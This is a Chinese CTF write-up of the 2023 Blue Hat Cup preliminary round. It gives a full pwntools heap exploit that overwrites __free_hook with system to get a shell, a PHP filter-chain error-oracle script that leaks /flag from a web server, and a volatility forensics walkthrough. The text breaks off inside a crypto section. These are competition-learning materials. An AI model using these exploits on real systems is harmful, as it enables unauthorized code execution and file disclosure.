2023第七届蓝帽杯全国大学生网络安全技能大赛初赛CTFwp+取证复现 written by 总之就是非常可爱
2023-8-31 11:7:4 Author: 山警网络空间安全实验室(查看原文) 阅读量:67 收藏

首先自我检讨,没有足够重视本次比赛,跟陇剑撞了车,三个人两边转战,还有俩人在外地,导致排名并不靠前,在此痛定思痛,定努力备战接下来的一系列比赛

@[email protected][email protected]舒仲满

CTF部分

pwn

takeway

2.31版本

改fd,通过modify泄露libc地址

fd修改为0x404080,因为0x404048处是申请次数,将其修改较大的数值,直接填满就行,保证没有截断,就能泄露下面的stdout

接下来就是劫持free_hook,改了onegadget没成功,修改为system直接getshell

exp:

# encoding = utf-8
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
import base64

# from ae64 import AE64
# from LibcSearcher import *

context.os = 'linux'
context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = "debug"

name = './pwn'

debug = 1
if debug:
    p = remote('101.200.234.115',44394)
else:
    p = process(name)

libcso = '/lib/x86_64-linux-gnu/libc.so.6'
#libcso = './libc-2.31.so'
libc = ELF(libcso)
#libc = elf.libc
elf = ELF(name)

'''
binary = './pwn'
ip = '0.0.0.0'
port = 8888
#libcelf = './libc.so.6'
libcelf = '/lib/x86_64-linux-gnu/libc.so.6'
#ldfile = './ld.so'
ldfile =  '/lib64/ld-linux-x86-64.so.2'

local = 1
armmips = 0
x64_32 = 1

if x64_32:
    context.arch = 'amd64'
else:
    context.arch = 'i386'

if armmips == 0:
    if local:
        if ldfile:
            p = process([ldfile, binary], env={"LD_PRELOAD": libcelf})
            libc = ELF(libcelf)
        elif libcelf:
            p = process([binary], env={"LD_PRELOAD": libcelf})
            libc = ELF(libcelf)
        else:
            p = process(binary)
    else:
        p = remote(ip, port)
else:
    if local:
        if x64_32:
            p = process(["qemu-arm""-g""1212""-L""/usr/arm-linux-gnueabi", binary])
        else:
            p = process(["qemu-aarch64""-g""1212""-L""/usr/aarch64-linux-gnu/", binary])
    else:
        p = remote(ip, port)

elf = ELF(binary)
'''

s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(str(delim), str(data))
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num                :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data,num           :u32(p.recvuntil(data)[-num:].ljust(4,b'\x00'))
uu64    = lambda data,num           :u64(p.recvuntil(data)[-num:].ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
l64     = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32     = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
context.terminal = ['gnome-terminal','-x','sh','-c']

add_idx = 1
delete_idx = 2
edit_idx = 3

def dbg():
   gdb.attach(proc.pidof(p)[0])
   pause()
   
bss = elf.bss()
li('bss = '+hex(bss))

def choice(cho):
    sla('Please input your choose: ',str(cho))

def add(idx,con,content):
    choice(add_idx)
    sla('index\n',str(idx))
    p.sendafter('name: ',con)
    p.sendafter('remark: ',content)

def delete(idx):
    choice(delete_idx)
    sla('index: ',str(idx))

def edit(idx,con):
    choice(edit_idx)
    sla('index: ',str(idx))
    p.sendafter('is: ',con)

add(0,b'aaa',b'111')
add(1,b'bbb',b'222')

delete(0)
delete(1)

edit(1,p64(0x404080))

add(2, b'ccc', b'333')

add(3, b'\x00', p64(0x1111111111111111))

choice(edit_idx)
sla('index: ',str(3))

libc_base=l64() - libc.sym['_IO_2_1_stdout_']
li(hex(libc_base))
p.sendafter('is: ',b'\x00')

delete(0)
delete(1)

free_hook=libc_base + libc.sym['__free_hook']
sys = libc_base + libc.sym['system']
ogs = [0xe3afe,0xe3b01,0xe3b04]
og = libc_base + ogs[1]

edit(1,p64(free_hook))
add(4,b'/bin/sh\x00',b'/bin/sh\x00')
add(8,p64(sys),b'shu')

delete(4)

itr()

#print('

========================================================================================')
'
''
def pwn():

if __name__ == '

__main__':
    pwn()
'''

#print('========================================================================================')

'''
bss = elf.bss()

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

pop_rdi = libc_base + libc.search(asm('pop rdi;ret;')).__next__()

pop_rsi = libc_base + libc.search(asm('pop rsi;ret;')).__next__()

pop_rdx = libc_base + libc.search(asm('pop rdx;ret;')).__next__()

pop_rdx12 = libc_base + libc.search(asm('pop rdx;pop r12;ret;')).__next__()

leave_ret = libc_base + libc.search(asm('leave;ret;')).__next__()

sys = libc_base + libc.sym['system'
bin_sh = libc_base + next(libc.search(b'/bin/sh'))

open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']

free_hook = libc_base + libc.sym['__free_hook']
malloc_hook = libc_base + libc.sym['__malloc_hook']

setcontext = libc_base + libc.sym['setcontext']
mprotect = libc_base + libc.sym['mprotect']

syscall = libc_base + libc.sym['syscall']
syscall=next(elf.search(asm('syscall\nret')))
#syscall = elf.search(asm('syscall\nret')).__next__()

gadget = libc_base + libc.sym['svcudp_reply'] + 0x1a
li('gadget = '+hex(gadget))
mov    rbp,QWORD PTR [rdi+0x48]
mov    rax,QWORD PTR [rbp+0x18]
lea    r13,[rbp+0x10]
mov    DWORD PTR [rbp+0x10],0x0
mov    rdi,r13
call   QWORD PTR [rax+0x28]

'''
#print('========================================================================================')

'''
def ret2libc_leak(main,got,plt,offset):
    if x64_32:
        payload = b'a'*offset + b'b'*8 + p64(rdi) + p64(got) + p64(plt) + p64(main)
    else:
        payload = b'a'*offset + b'b'*4 + p32(plt) + p32(main) + p32(got)
    return payload

def fmt_w(flag,num,offset):
    if flag==2:
        payload = b'%' + str(num) + b'c' + b'%' + str(offset) + b'$hn'
    elif flag==1:
        payload = b'%' + str(num) + b'c' + b'%' + str(offset) + b'$hhn'
'''
#print('========================================================================================')

'''
# execve(path='/bin///sh', argv=['sh'], envp=0)
shellcraft.amd64.linux.sh() # getshell 

# open(file='flag', oflag=0, mode=0)
shellcraft.amd64.linux.open("flag")
# read(fd, buf, count)
shellcraft.amd64.linux.read(fd=0, buffer='rsp', count=8)
# write(fd, buf, count)
shellcraft.amd64.linux.write(fd=1, buffer='rsp', count=8)
'''

#print('========================================================================================')

'''
ogs = [0xe3afe,0xe3b01,0xe3b04]
og = libc_base + ogs[0]
p64(ogs[0])

0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
'''
#print('========================================================================================')

'''
def dbg(cmd=''):
    os.system('
tmux set mouse on')
    context.terminal = ['gnome-terminal','-x','sh','-c']
    gdb.attach(p,cmd)
    pause()

command = 'b *'+ str(hex(gadget))+'\n'
dbg(command)
'''
#print('========================================================================================')

'''

sign = 'asc'

def csu(padding, rbx, rbp, r12, r13, r14, r15, ret_addr):
    payload = padding
    payload+= p64(gadgets1)   
    payload += 'b'*8             
    payload+= p64(rbx)     
    payload+= p64(rbp)       
    payload+= p64(r12)      
    if sign == 'asc':  
        payload+= p64(r13)   
        payload+= p64(r14)  
        payload+= p64(r15)   
    elif sign == 'desc':   
        payload+= p64(r15)   
        payload+= p64(r14)   
        payload+= p64(r13)  
    payload+= p64(gadgets2)   
  
    payload += 'c' * 0x38  
    payload += p64(ret_addr)
    p.sendline(payload)

csu(write_got,1,write_got,8,main_addr)

'''

#print('========================================================================================')
'''

from z3 import * 
 v3,v4,v5,v6,v7,v8,v9,v10,v11,v12,v13,v14,v15,v16,v17,v18 = Ints("v3 v4 v5 v6 v7 v8 v9 v10 v11 v12 v13 v14 v15 v16 v17 v18"
 s = Solver() 
 s.add(v5 * v4 * v3 - v6 == 36182
 s.add( v3 == 19
 s.add( v5 * 19 * v4 + v6 == 36322
 s.add( (v13 + v3 - v8) * v16 == 32835
 s.add( (v4 * v3 - v5) * v6 == 44170
 s.add( (v5 + v4 * v3) * v6 == 51590
 s.add( v9 * v8 * v7 - v10 == 61549
 s.add( v10 * v15 + v4 + v18 == 19037
 s.add( v9 * v8 * v7 + v10 == 61871
 s.add( (v8 * v7 - v9) * v10 == 581693
 s.add( v11 == 50
 s.add( (v9 + v8 * v7) * v10 == 587167
 s.add( v13 * v12 * v11 - v14 == 1388499
 s.add( v13 * v12 * v11 + v14 == 1388701
 s.add( (v12 * v11 - v13) * v14 == 640138
 s.add( (v11 * v5 - v16) * v12 == 321081
 s.add( (v13 + v12 * v11) * v14 == 682962
 s.add( v17 * v16 * v15 - v18 == 563565
 s.add( v17 * v16 * v15 + v18 == 563571
 s.add( v14 == 101
 s.add( (v16 * v15 - v17) * v18 == 70374
 s.add( (v17 + v16 * v15) * v18 == 70518
 if s.check() == sat: 
 model = s.model() 
 print("v3 = ", model[v3]) 
 print("v4 = ", model[v4]) 
 print("v5 = ", model[v5]) 
 print("v6 = ", model[v6]) 
 print("v7 = ", model[v7]) 
 print("v8 = ", model[v8]) 
 print("v9 = ", model[v9]) 
 print("v10 = ", model[v10]) 
 print("v11 = ", model[v11]) 
 print("v12 = ", model[v12]) 
 print("v13 = ", model[v13]) 
 print("v14 = ", model[v14]) 
 print("v15 = ", model[v15]) 
 print("v16 = ", model[v16]) 
 print("v17 = ", model[v17]) 
 print("v18 = ", model[v18])

'''

re

story

源码中有flag

misc

ez_Forensics

passwarekit梭出一半

python2 vol.py -f mem.raw --profile=Win7SP1x64 filescan | grep 'Desktop'

桌面有三个有用的

readme提出来,大小有点大,很压缩包里的对不上

python2 vol.py -f mem.raw --profile=Win7SP1x64 editbox

原大小是32,所以readme肯定不是Do you think I will leave the content of readme.txt for you to make the know-plaintext attack?而是This is the table to get the key

用winrar手动压缩readme.txt,没成,换了360成了,不知道为什么

然后明文攻击

谷歌file key.rsmr,下了一个Mouse and Keyboard Recorder,画图

对应tables.png

得到key是a91e37bf

python2 vol.py -f mem.raw --profile=Win7SP1x64 cmdscan

有个set SECRET,看一下环境变量,找到secret,U2FsdGVkX19dHyROKCNrT5BAJk9asDpaZ8L45vr9s9D2Yi9/OX5Xl6lEmhd0VoietsmeiLHJjPPG0uSsdxGgr2jzQ00FEMf/VglaSrhwumM=

解aes

web

LovePHP

给出源码

绕过wakeup 侧信道攻击 参考https://boogipop.com/2023/05/08/Web%E4%BE%A7%E4%BF%A1%E9%81%93%E5%88%9D%E6%AD%A5%E8%AE%A4%E8%AF%86/

可得以下脚本

import requests
import sys
from base64 import b64decode

"""
THE GRAND IDEA:
We can use PHP memory limit as an error oracle. Repeatedly applying the convert.iconv.L1.UCS-4LE
filter will blow up the string length by 4x every time it is used, which will quickly cause
500 error if and only if the string is non empty. So we now have an oracle that tells us if
the string is empty.

THE GRAND IDEA 2:
The dechunk filter is interesting.
https://github.com/php/php-src/blob/01b3fc03c30c6cb85038250bb5640be3a09c6a32/ext/standard/filters.c#L1724
It looks like it was implemented for something http related, but for our purposes, the interesting
behavior is that if the string contains no newlines, it will wipe the entire string if and only if
the string starts with A-Fa-f0-9, otherwise it will leave it untouched. This works perfect with our
above oracle! In fact we can verify that since the flag starts with D that the filter chain

dechunk|convert.iconv.L1.UCS-4LE|convert.iconv.L1.UCS-4LE|[...]|convert.iconv.L1.UCS-4LE

does not cause a 500 error.

THE REST:
So now we can verify if the first character is in A-Fa-f0-9. The rest of the challenge is a descent
into madness trying to figure out ways to:
- somehow get other characters not at the start of the flag file to the front
- detect more precisely which character is at the front
"

""

def join(*x):
 return '|'.join(x)

def err(s):
 print(s)
 raise ValueError

def req(s):
    a=f'php://filter/{s}/resource=/flag'
    return requests.get('http://123.57.73.24:48629/index.php?my[secret.flag=C:8:"Saferman":0:{}&secret='+a).status_code == 500

"""
Step 1:
The second step of our exploit only works under two conditions:
- String only contains a-zA-Z0-9
- String ends with two equals signs

base64-encoding the flag file twice takes care of the first condition.

We don't know the length of the flag file, so we can't be sure that it will end with two equals
signs.

Repeated application of the convert.quoted-printable-encode will only consume additional
memory if the base64 ends with equals signs, so that's what we are going to use as an oracle here.
If the double-base64 does not end with two equals signs, we will add junk data to the start of the
flag with convert.iconv..CSISO2022KR until it does.
"

""

blow_up_enc = join(*['convert.quoted-printable-encode']*1000)
blow_up_utf32 = 'convert.iconv.L1.UCS-4LE'
blow_up_inf = join(*[blow_up_utf32]*50)

header = 'convert.base64-encode|convert.base64-encode'

# Start get baseline blowup
print('Calculating blowup')
baseline_blowup = 0
for n in range(100):
 payload = join(*[blow_up_utf32]*n)
 if req(f'{header}|{payload}'):
  baseline_blowup = n
  break
else:
 err('
something wrong')

print(f'

baseline blowup is {baseline_blowup}')

trailer = join(*[blow_up_utf32]*(baseline_blowup-1))

assert req(f'

{header}|{trailer}') == False

print('

detecting equals')
j = [
 req(f'
convert.base64-encode|convert.base64-encode|{blow_up_enc}|{trailer}'),
 req(f'
convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode{blow_up_enc}|{trailer}'),
 req(f'
convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KR|convert.base64-encode|{blow_up_enc}|{trailer}')
]
print(j)
if sum(j) != 2:
 err('
something wrong')
if j[0] == False:
 header = f'
convert.base64-encode|convert.iconv..CSISO2022KR|convert.base64-encode'
elif j[1] == False:
 header = f'
convert.base64-encode|convert.iconv..CSISO2022KR|convert.iconv..CSISO2022KRconvert.base64-encode'
elif j[2] == False:
 header = f'
convert.base64-encode|convert.base64-encode'
else:
 err('
something wrong')
print(f'
j: {j}')
print(f'
header: {header}')

"""
Step two:
Now we have something of the form
[a-zA-Z0-9 things]==

Here the pain begins. For a long time I was trying to find something that would allow me to strip
successive characters from the start of the string to access every character. Maybe something like
that exists but I couldn'

t find it. However, if you play around with filter combinations you notice
there are filters that *swap* characters:

convert.iconv.CSUNICODE.UCS-2BE, which I call r2, flips every pair of characters in a string:
abcdefgh -> badcfehg

convert.iconv.UCS-4LE.10646-1:1993, which I call r4, reverses every chunk of four characters:
abcdefgh -> dcbahgfe

This allows us to access the first four characters of the string. Can we do better? It turns out
YES, we can! Turns out that convert.iconv.CSUNICODE.CSUNICODE appends <0xff><0xfe> to the start of
the string:

abcdefgh -> <0xff><0xfe>abcdefgh

The idea being that if we now use the r4 gadget, we get something like:
ba<0xfe><0xff>fedc

And then if we apply a convert.base64-decode|convert.base64-encode, it removes the invalid
<0xfe><0xff> to get:
bafedc

And then apply the r4 again, we have swapped the f and e to the front, which were the 5th and 6th
characters of the string. There's only one problem: our r4 gadget requires that the string length
is a multiple of 4. The original base64 string will be a multiple of four by definition, so when
we apply convert.iconv.CSUNICODE.CSUNICODE it will be two more than a multiple of four, which is no
good for our r4 gadget. This is where the double equals we required in step 1 comes in! Because it
turns out, if we apply the filter
convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7

It will turn the == into:
+---AD0-3D3D+---AD0-3D3D

And this is magic, because this corrects such that when we apply the
convert.iconv.CSUNICODE.CSUNICODE filter the resuting string is exactly a multiple of four!

Let's recap. We have a string like:
abcdefghij==

Apply the convert.quoted-printable-encode + convert.iconv.L1.utf7:
abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply convert.iconv.CSUNICODE.CSUNICODE:
<0xff><0xfe>abcdefghij+---AD0-3D3D+---AD0-3D3D

Apply r4 gadget:
ba<0xfe><0xff>fedcjihg---+-0DAD3D3---+-0DAD3D3

Apply base64-decode | base64-encode, so the '-' and high bytes will disappear:
bafedcjihg+0DAD3D3+0DAD3Dw==

Then apply r4 once more:
efabijcd0+gh3DAD0+3D3DAD==wD

And here's the cute part: not only have we now accessed the 5th and 6th chars of the string, but
the string still has two equals signs in it, so we can reapply the technique as many times as we
want, to access all the characters in the string ;)
"""

flip = "convert.quoted-printable-encode|convert.quoted-printable-encode|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.L1.utf7|convert.iconv.CSUNICODE.CSUNICODE|convert.iconv.UCS-4LE.10646-1:1993|convert.base64-decode|convert.base64-encode"
r2 = "convert.iconv.CSUNICODE.UCS-2BE"
r4 = "convert.iconv.UCS-4LE.10646-1:1993"

def get_nth(n):
 global flip, r2, r4
 o = []
 chunk = n // 2
 if chunk % 2 == 1: o.append(r4)
 o.extend([flip, r4] * (chunk // 2))
 if (n % 2 == 1) ^ (chunk % 2 == 1): o.append(r2)
 return join(*o)

"""
Step 3:
This is the longest but actually easiest part. We can use dechunk oracle to figure out if the first
char is 0-9A-Fa-f. So it's just a matter of finding filters which translate to or from those
chars. rot13 and string lower are helpful. There are probably a million ways to do this bit but
I just bruteforced every combination of iconv filters to find these.

Numbers are a bit trickier because iconv doesn't tend to touch them.
In the CTF you coud porbably just guess from there once you have the letters. But if you actually 
want a full leak you can base64 encode a third time and use the first two letters of the resulting
string to figure out which number it is.
"""

rot1 = 'convert.iconv.437.CP930'
be = 'convert.quoted-printable-encode|convert.iconv..UTF7|convert.base64-decode|convert.base64-encode'
o = ''

def find_letter(prefix):
 if not req(f'{prefix}|dechunk|{blow_up_inf}'):
  # a-f A-F 0-9
  if not req(f'{prefix}|{rot1}|dechunk|{blow_up_inf}'):
   # a-e
   for n in range(5):
    if req(f'{prefix}|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
     return 'edcba'[n]
     break
   else:
    err('something wrong')
  elif not req(f'{prefix}|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
   # A-E
   for n in range(5):
    if req(f'{prefix}|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
     return 'EDCBA'[n]
     break
   else:
    err('something wrong')
  elif not req(f'{prefix}|convert.iconv.CSISO5427CYRILLIC.855|dechunk|{blow_up_inf}'):
   return '*'
  elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
   # f
   return 'f'
  elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
   # F
   return 'F'
  else:
   err('something wrong')
 elif not req(f'{prefix}|string.rot13|dechunk|{blow_up_inf}'):
  # n-s N-S
  if not req(f'{prefix}|string.rot13|{rot1}|dechunk|{blow_up_inf}'):
   # n-r
   for n in range(5):
    if req(f'{prefix}|string.rot13|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
     return 'rqpon'[n]
     break
   else:
    err('something wrong')
  elif not req(f'{prefix}|string.rot13|string.tolower|{rot1}|dechunk|{blow_up_inf}'):
   # N-R
   for n in range(5):
    if req(f'{prefix}|string.rot13|string.tolower|' + f'{rot1}|{be}|'*(n+1) + f'{rot1}|dechunk|{blow_up_inf}'):
     return 'RQPON'[n]
     break
   else:
    err('something wrong')
  elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
   # s
   return 's'
  elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
   # S
   return 'S'
  else:
   err('something wrong')
 elif not req(f'{prefix}|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
  # i j k
  if req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
   return 'k'
  elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
   return 'j'
  elif req(f'{prefix}|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
   return 'i'
  else:
   err('something wrong')
 elif not req(f'{prefix}|string.tolower|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
  # I J K
  if req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
   return 'K'
  elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
   return 'J'
  elif req(f'{prefix}|string.tolower|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
   return 'I'
  else:
   err('something wrong')
 elif not req(f'{prefix}|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
  # v w x
  if req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
   return 'x'
  elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
   return 'w'
  elif req(f'{prefix}|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
   return 'v'
  else:
   err('something wrong')
 elif not req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|dechunk|{blow_up_inf}'):
  # V W X
  if req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|dechunk|{blow_up_inf}'):
   return 'X'
  elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
   return 'W'
  elif req(f'{prefix}|string.tolower|string.rot13|{rot1}|string.rot13|{be}|{rot1}|{be}|{rot1}|{be}|{rot1}|dechunk|{blow_up_inf}'):
   return 'V'
  else:
   err('something wrong')
 elif not req(f'{prefix}|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
  # Z
  return 'Z'
 elif not req(f'{prefix}|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
  # z
  return 'z'
 elif not req(f'{prefix}|string.rot13|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
  # M
  return 'M'
 elif not req(f'{prefix}|string.rot13|string.toupper|convert.iconv.CP285.CP280|string.rot13|dechunk|{blow_up_inf}'):
  # m
  return 'm'
 elif not req(f'{prefix}|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
  # y
  return 'y'
 elif not req(f'{prefix}|string.tolower|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
  # Y
  return 'Y'
 elif not req(f'{prefix}|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
  # l
  return 'l'
 elif not req(f'{prefix}|string.tolower|string.rot13|convert.iconv.CP273.CP1122|string.rot13|dechunk|{blow_up_inf}'):
  # L
  return 'L'
 elif not req(f'{prefix}|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
  # h
  return 'h'
 elif not req(f'{prefix}|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
  # H
  return 'H'
 elif not req(f'{prefix}|string.rot13|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
  # u
  return 'u'
 elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.500.1026|string.tolower|convert.iconv.437.CP930|string.rot13|dechunk|{blow_up_inf}'):
  # U
  return 'U'
 elif not req(f'{prefix}|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
  # g
  return 'g'
 elif not req(f'{prefix}|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
  # G
  return 'G'
 elif not req(f'{prefix}|string.rot13|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
  # t
  return 't'
 elif not req(f'{prefix}|string.rot13|string.tolower|convert.iconv.CP1390.CSIBM932|dechunk|{blow_up_inf}'):
  # T
  return 'T'
 else:
  err('something wrong')

print()
for i in range(100):
 prefix = f'{header}|{get_nth(i)}'
 letter = find_letter(prefix)
 # it's a number! check base64
 if letter == '*':
  prefix = f'{header}|{get_nth(i)}|convert.base64-encode'
  s = find_letter(prefix)
  if s == 'M':
   # 0 - 3
   prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
   ss = find_letter(prefix)
   if ss in 'CDEFGH':
    letter = '0'
   elif ss in 'STUVWX':
    letter = '1'
   elif ss in 'ijklmn':
    letter = '2'
   elif ss in 'yz*':
    letter = '3'
   else:
    err(f'bad num ({ss})')
  elif s == 'N':
   # 4 - 7
   prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
   ss = find_letter(prefix)
   if ss in 'CDEFGH':
    letter = '4'
   elif ss in 'STUVWX':
    letter = '5'
   elif ss in 'ijklmn':
    letter = '6'
   elif ss in 'yz*':
    letter = '7'
   else:
    err(f'bad num ({ss})')
  elif s == 'O':
   # 8 - 9
   prefix = f'{header}|{get_nth(i)}|convert.base64-encode|{r2}'
   ss = find_letter(prefix)
   if ss in 'CDEFGH':
    letter = '8'
   elif ss in 'STUVWX':
    letter = '9'
   else:
    err(f'bad num ({ss})')
  else:
   err('wtf')

 print(end=letter)
 o += letter
 sys.stdout.flush()

"""
We are done!! :)
"""

print()
d = b64decode(o.encode() + b'=' * 4)
# remove KR padding
d = d.replace(b'$)C',b'')
print(b64decode(d))

Crypto

DHrsa

先来分析代码

def gen_DH_key(g,r):
    x = randint(2,r-1)
    return x, pow(g,x,r)

用生成元和模数返回公私钥

def gen_RSA_parameters(g,r):
    main_key = gen_DH_key(g,r)
    sub_key = gen_DH_key(g,r)
    x, X = main_key
    w, W = sub_key
    print(f"[+] Public DH Keys { X = }")
    print(f"[+] Public DH Keys { W = }")
    while True:
        c, C = gen_DH_key(g,r)
        t1 = randint(0,1)
        t2 = randint(0,1)
        p = ZZ(C * W^t1 * pow(X, c, r) % r)
        if not is_prime(p):
            continue
        q = ZZ(pow(W, -t2, r) * pow(X, -c, r) % r)
        if not is_prime(q):
            print(f"[+] Try {c ,C}")
            continue
        return p,q

首先调用上一个函数生成了主次公私钥

然后尝试用数组公私钥去生成pq,特别的点就是,这里涉及到了分数

首先要恢复这个模数和生成元,有了之后,我们就可以恢复pq

难点在rg上

需要造格子

from Crypto.Util.number import *
cs = [9771395973011655803041049350400889693558053786906788399593857181577256033087775470396528142785531153656250742163382306394790826547696369519066900832598632827282101804119133581731451602487064163458483870975413429564941412317884293780031450595030416626027313036146632986988002458071131112226632906382315792857892241965453815244346899585009410520857225094933230981612196072208492997866952646432199659002836805424425053157549984957117447264272997104337308391178223411008469491610938216099437983993305774398678547360061529021095399886442276321623596589458980857784117593111375842386009804225494459153563491699302948435260761641378889110467417570384936874613601402949896875762053406560493540073785292587563399643508102580416913775472119451766013211837060803303816277930372441775845497976168964307433120339542273117588000068817584308483970063885997627628695501222764290568613984109063891241438827217718871741548258626864886288295564857850091039904852357309328743353934107579830869744999969242154323443783533786032181281694960711385606506579359066323294671727886753617501542207839926790477972764931056907948775445022546259290378750588556475056074424511897774720028799636435209353562406019025873634524281922238302440359127364322350587127393762409850075558419901837845120887060273735263556042873773368989271000132005252396983996643695306380337566227231547943680862536807211336411879161099488791111440004269550837930069561548693107407163496872089856298023372643037792305541293783438854412197014895824653797468093046886645122408623089543218627931731325868646741454098447988398147866423483216199471395443232678781701330645841059653907414948230530016148088528041271601569224214061112263285155894283157196944963972341264295497477569310067961543406713251816804592894818522932427576562143451784513467126296784357049594209623664206239871359115333587785580894235024985154817535857960073707963384183439709586920855602419290358137674661940402006427565850098044416106066822250682276679669427811522910392723378330585054966700618427863274070625755965024091860785911163532024623635081984968425820620843853774256517766094310611945293494086175498973544720868192274716694164949597692351451945757088878411107373327875974596044694856860052453572780007051798936108615694119362819236035561244457547762685584553058116256248661279973896880043653111797371685943933803875001311397059867752086552984463316688960117181101770215795028379992809393247552459476261170075026189678268547978511950378056222368033599809537397449739222496469120219661376235214159758353162913590149327454313351545152320436531803584693342228310830634381278274606584366951286641362730205162579828074315075340443748244820749053744809827619088636547363661890635267115360707275763787964208524666688206411633178162062084178819595736359238705325391528501680441314436274308732752665710633216017229941647194260483650579663572584869182066138663288677659053037348839123895776463551873427213847875064249008908156612389991869885743985152554064654014600155665167153423864293462953589139136986609123719868913243556793248046592418855144217044361551263069240329680317045770808206222211755109545428781696252648193503069935366084660243006718862430207099804588314955545169220387168326288199946353289765491079758119580843420073823906119753234575442962131709255037973063737290936030795945950921277478199807372549014637223582228286536066930415469068687293425110258281148275552183664030657588356550029801438062011696791479721050550709966793162412846063789309880633528422512509596396589027054806885718000781675200132948682901735072267628560936417314243511123800847873692586173600667380616167429138542252564457386639388455995579719093682606131163187210298247011315560186966074696507117786158745238249448633265118937845946758458071737098887179695749531122507367703868824558902317261199125266384611756909539595123592660341879019017451357065611922646621448654308731099545672266646199287008430733010575325812508661111446471076682347110401317422369989378526004562648871357970249460937394842515685185689487121013264426242850975099858374090448996209558108736923060308776568417056656261821047050734966513847679299020397529924982141417970228697495210830890883988508635441470355515626782015806757478034341166997496906299947553816327134821618696994832785156618164961689243595800506576578820410954867102239923213291103558165483499140082633087824207492178842328222110372040372946709534675630035763166805943256640202241094017653484224302180964104596684146937840328056737761657946384205866395653898199201639602248482582697070353794474217986472805442230112835984263613091825696652250954073387223880263742651339870254580605471160934477391515809